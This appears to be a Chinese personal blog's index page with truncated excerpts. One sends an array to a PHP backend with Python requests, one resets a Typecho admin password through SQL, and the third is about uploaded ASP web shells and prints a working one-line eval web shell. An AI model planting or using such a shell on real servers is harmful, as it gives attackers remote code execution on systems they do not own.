简要

在python3中使用requests时,遇到一个需求,需要向php写的后端提交一个数组
我懒得百度了,然后就有了下文

测试一

使用如下代码:

domains = ["1.com","2.com","3.com"]
url = "http://www.qq.com/spider.php?type=add_domain"
data = {"domains": domains}
res = requests.post(url, data=data, proxies={"http":"http://127.0.0.1:8080"}).text


- 阅读剩余部分 -

原因

最近时间多了,准备登进博客看一看,发现密码忘记了
还好服务器密码没有忘记,网上找了一下,好像并没有typecho1.1版本忘记密码的解决办法
最后没办法本地搭建一套新的,然后把数据库里的账户密码copy一份,解决!

获取配置信息

网站根目录下的config.inc.php中获取数据库信息
链接数据库后执行以下语句:

UPDATE typecho_users SET PASSWORD = '$P$BfpuGkuI0iIH/4/eLbkYXcRpWyN0Je0' WHERE uid = 1;
UPDATE typecho_users SET authcode = 'ff576420bcabf63885dd553174dbaa77ef2f641e' WHERE uid = 1;

后台登录

然后重新使用密码123456登录

注意

本文中的shell皆指asp环境下的shell

为什么我会说还有一个更高效的连接shell的方法

很多时候我们上传的shell并不只是shell,还有其他的垃圾数据
比如正常的shell我们上传到服务器的内容如下:

<%eval request("MH")%>


- 阅读剩余部分 -